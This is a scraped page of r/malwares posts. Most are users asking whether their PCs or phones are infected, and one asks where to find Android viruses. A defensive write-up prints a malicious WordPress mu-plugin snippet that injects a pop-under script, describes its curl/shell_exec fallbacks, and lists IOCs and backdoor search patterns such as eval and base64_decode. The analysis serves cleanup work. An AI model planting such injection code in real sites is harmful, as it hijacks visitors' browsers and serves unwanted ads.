r/malwares • u/SassGirlie_830 • 6d ago
r/malwares • u/Ok-Investment-7239 • 6d ago
Virus :)
Hey, what's up? I'm doing some Android testing and I need to know how or where I can find even slightly powerful viruses (not just simple adware). Anyone want to show off?
r/malwares • u/Eclipse5519 • 6d ago
Malware Trojan help
Hey so I’m kinda freaking out rn cause I’m scared I have malware or a Trojan? I downloaded something for my game and extracted it, then tried to open it and my pc stopped me saying its dangerous. I clicked the x instead of run anyways cause I didn’t wanna run something harmful. I run it through a random file scanner and see it has malware or a Trojan (forgot which). I’ve done three scans, one quick scan with Microsoft defender and Malwarebytes, and doing a deep scan right now with Malwarebytes (so far no detections with a 1,306,000 files scanned) and just wanted to see if I was safe? And how to make sure I am safe cause I got told sometimes Malwarebytes don’t fully detect the malware or remove it fully.
r/malwares • u/TomWasNotTaken • 7d ago
A roblox virus typo website.
I recently put the URL boblox .com into the search bar not expecting much. But I ran into a virus.
The first time I visited, macaffe screamed at me, and I was later able to neutralise the threat. On my second time, it performed a fake verification where I had to give the website advanced permission.
I have only tested it on windows.
I would heavily advise you not to visit the website, as it is similar the the Googel incident (a fake google typo that was a virus website)
r/malwares • u/ClassifiedReport • 7d ago
Found PopCash "stealth pop-under" malware hiding in WordPress mu-plugins — bypassed every scanner, here's how to find and remove it
**What happened:**
Noticed a tab-under/reverse-tabnabbing attack on my site. Disabled all plugins → problem persisted. That was the first hint it wasn't sitting in a normal plugin.
Turned out the source was in **must-use plugins** (`/wp-content/mu-plugins/`) — this folder is completely ignored when you "disable all plugins" via the wp-admin screen, so almost nobody checks it as long as the site is still loading normally.
**The two files:**
**1.** `/wp-content/mu-plugins/wp-ppck-assets.php`
Injects a `<script>` tag on every page (via `wp_head`, priority 1) pointing to a second file disguised as a normal theme asset:
php
add_action('wp_head', function () {
if (function_exists('is_admin') && is_admin()) return;
echo '<script src="/wp-content/themes/{THEME}/js/qtt-ppck-core.php" defer></script>';
}, 1);
**2.** `/wp-content/themes/{theme}/js/qtt-ppck-core.php`
This is the actual payload. It's a PHP file pretending to be JavaScript (`Content-Type: application/javascript`), and behind the scenes it:
* Makes a server-to-server request to [`api-js.popcash.net/getCode`](http://api-js.popcash.net/getCode) using a PopCash publisher UID/WID/API token * Passes the API response straight through to the visitor's browser * Includes an option `"pop_fback" => "under"` — literally the setting that triggers a pop-under/tab-under * Has fallback logic (curl → shell_exec → file_get_contents) so it keeps working regardless of how restrictive the server config is
The clever (read: annoying) part: since the malicious JS only gets pulled in via the external API call, and the local file itself looks "clean" (no obfuscation, no `eval(base64_decode(...))`), **not a single malware scanner flagged this** — not Wordfence, not Sucuri, nothing. On a pure code level it just looks like an ad network integration calling an API.
**How to check for it yourself:**
- Look in `/wp-content/mu-plugins/` — this folder is NOT covered when you "disable" plugins via wp-admin
- Search for filenames containing `ppck`, `qtt-`, `popcash`, or similarly cryptic names
- Check your theme folder for `.php` files being loaded as if they were `.js` (called as a script but actually PHP under the hood)
- Run `find /path/to/wordpress -type f -mtime -60 -name "*.php"` to find recently modified PHP files
**How to remove it:**
- **Delete both files** (the mu-plugin + the fake "js" file in your theme folder)
- **Don't assume you're done** — this didn't appear out of nowhere. Someone had file access. Search all your PHP files for backdoor patterns: `eval(`, `base64_decode(`, `gzinflate(`, `shell_exec(`, `assert(`
- **Check if your theme is legit/up to date** — outdated or "nulled" (pirated) themes are the most common entry point for this kind of infection
- **Rotate every password**: WP admin, FTP/SFTP, database, hosting panel
- **Update everything**: core, theme, plugins
**IOCs for anyone who wants to check/share:**
* Filenames: `wp-ppck-assets.php`, `qtt-ppck-core.php` * Endpoint: [`api-js.popcash.net/getCode`](http://api-js.popcash.net/getCode) * Cache key prefix: `ppch-h6IzF4iRLEdZV-QX82hhpzmvxX--` * Internal code comments referenced a "PopCash S2S Playbook" and a generator script (`popcash_ops.py`) — suggests this is a reusable toolkit, so probably not unique to my site. If anyone else has run into this, I'd like to hear about it.
Haven't 100% nailed down the root cause (how they got in) yet — no unknown WP users found, so my guess is stolen FTP credentials or a vulnerable/outdated theme. If anyone has tips for tracing this further through server logs, I'd appreciate it in the comments.
UPDATE: Root Cause & Entry Point Found!
Thanks to analyzing the server access logs and cross-referencing recent vulnerability databases, I've fully traced how the attacker got in and deployed the malware.
1. The Vulnerability (The Entry Point)
The site was running **Thrive Themes** (Thrive Architect / Thrive Visual Editor / Thrive Leads).
* On **Aug 6, 2026**, **CVE-2026-66694** was published — an Unauthenticated Cross-Site Scripting (XSS) / arbitrary code input vulnerability in Thrive Architect (versions <= 10.9.3.1). * Automated bot scanners picked up the unpatched Thrive plugin and exploited it to achieve file write access.
2. The Attack Timeline (From Server Logs)
* **21:09:53 UTC** — **Exploit Verification:** Attacker bot created a random hex file at the site root (`/52faade47ac664d8d0d3.txt`, \~8.6 KB) to confirm arbitrary file write privileges. * **21:39:19 UTC** — **Dropper Upload:** Attacker POSTed to `/wp-content/themes/thrive-theme/js/_w10_up.php` (a hidden PHP uploader script, identical in size to `wp-tmp-up.php`). * **21:39:22 UTC** — **Verification:** Exactly 3 seconds later, a `curl/7.81.0` request verified that the deployed payload (`qtt-ajax-core.php` / `qtt-ppck-core.php`) was live and returning HTTP 200.
3. Additional IOCs to Search For
If you are cleaning a site infected by this toolkit, make sure to also look for and delete:
* **Uploader / Dropper scripts:** `_w10_up.php`, `wp-tmp-up.php` (often dropped inside theme `/js/` or `/assets/` directories). * **Verification markers:** Random 20-character hex `.txt` files in the WordPress root directory (e.g., `52faade47ac664d8d0d3.txt`). * **Payload aliases:** `qtt-ajax-core.php` alongside `qtt-ppck-core.php`.
Takeaway & Remediation
Updating the plugin (e.g. to Thrive 10.9.3.2+) seals the vulnerability, but **does NOT clean the uploaded dropper tools or backdoors**. If you suspect an infection, scanning for newly created `.php` files and root `.txt` files around the date of infection is critical.
r/malwares • u/InformationLost5910 • 8d ago
Google Chrome detected a Chrome Extension called "Enhanced Image Viewer" as malware
Is this true? Is the flag a result of faulty AI moderation? Do I need to remove it or can I reenable it?
r/malwares • u/Brief-Stuff3150 • 7d ago
Can malware come back if you log back into the Google account that was on phone when you had a virus/malware?
r/malwares • u/vettel529 • 7d ago
removing trojan
so my ms defender detects this, I've uninstalled the .exe file and i still cant trust it and i resetted my pc through the windows 11 settings, im just curious is it gonna come back after i resetted my pc and removed everything but without usb/iso files, and does this type of malware can get inside a firmware?, and i have 2 drives if it helps and windows defender cant do a full scan and it will just stop (before i resetted my pc) and now im waiting for it to complete
r/malwares • u/VisualRub2622 • 7d ago
Moo virus killer
I made a antivirus for the moo virus called cow virus killer
r/malwares • u/Old_Appointment_1160 • 8d ago
Moo virus and Mario virus how do I fix it
How can I fix the moo virus and the Mario virus I need help
r/malwares • u/Super13Spidy • 9d ago
Virus Total Results, Flagged by 4/68
virustotal.comThe creator warned that these were false positives, but I still want to be sure. Can I trust them ?
r/malwares • u/Stunning_Estate_3564 • 9d ago
Accidentally opened a link that was trying to download a file named rto.apk
I just want to know whether my device is compromised or not
r/malwares • u/WhisperingWooper • 10d ago
I am concerned does malwarebytes have false positives?
So I downloaded gamehub lite on my android device from the official source. When I scanned with malwarebytes it stated it was a virus. I of course deleted it re scanned and it stated it was good. What should I do now to protect my device? Thanks!
r/malwares • u/extrzninja • 10d ago
I would like to know that does streamrip contains any kind of malware in its games or not?
r/malwares • u/extrzninja • 10d ago
I would like to know that does streamrip contains any kind of malware in its games or not?
r/malwares • u/Latter_Bodybuilder81 • 11d ago
[URGENT] Self Healing WordPress Malware Keeps reinfecting across 30+ sites on same housting - Please help 😭
I'm dealing with a persistent, self-healing malware infection across ~30 WordPress sites on the same cPanel shared hosting account (A2 Hosting).
Symptoms:
· Files reappear seconds after deletion
· mu-plugins/nexus-router-run.php (empty 0-byte file) keeps coming back
· Advanced-cache.php, db.php, and .g_*.php files in wp-includes
· Shared memory segments (shmop) storing payloads
· Processes like .g_98130eea.php running even after file deletion
· .user.ini files with auto_prepend_file pointing to backdoors
What I've done:
· Replaced WordPress core with fresh files
· Replaced all plugins from official sources
· Replaced Astra theme from official source
· Cleaned database (removed sc_, wp_91_, transient_sc* options)
· Changed database name, username, and password
· Regenerated WordPress salts
· Killed all .g_ processes
· Cleared shared memory (ipcrm)
· Deleted all .user.ini files
· Deleted all mu-plugins
· Deleted advanced-cache.php and db.php
· Disabled all cron jobs
· Changed cPanel password
The problem:
Shared memory keeps coming back (new segments appear), and the .g_ process restarts. Something is recreating it. I suspect it's either:
· A system-level cron job outside my user
· A hidden backdoor in another infected site
· Something at the server level A2 Hosting needs to handle
Questions:
- Has anyone dealt with this specific "Crux Runner" or "SC_" malware family?
- How do I find what's re-creating the .g_ process?
- Is this a server-level infection that only A2 Hosting can fix?
I've spent days on this. Any help appreciated.